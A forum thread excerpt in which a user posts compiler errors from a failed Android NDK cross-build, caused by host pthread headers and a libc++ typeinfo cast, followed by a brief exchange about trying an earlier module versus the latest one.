In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/__functional_base:15:
/local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/typeinfo:215:14: error: cast from pointer to smaller type 'std::__type_info_implementations::__non_unique_arm_rtti_bit_impl::__type_name_t' (aka 'unsigned int') loses information
return reinterpret_cast<__type_name_t>(__v);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/typeinfo:221:16: error: reinterpret_cast from 'std::__type_info_implementations::__non_unique_arm_rtti_bit_impl::__type_name_t' (aka 'unsigned int') to 'size_t' (aka 'unsigned long') is not allowed
return reinterpret_cast<size_t>(__v);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In file included from ../src/util/u_qsort.cpp:25:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/thread:94:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/__mutex_base:16:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/__threading_support:27:
/usr/include/pthread.h:681:22: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:693:19: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:716:22: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:729:19: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:734:22: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1))) __attribute__ ((__noreturn__))
^ ~
7 errors generated.
Click to expand...
Click to collapse
Did you try module above ?
astronomy2021 said:
Did you try module above ?
Click to expand...
Click to collapse
yes but i was seeing some crashes so thought of trying latest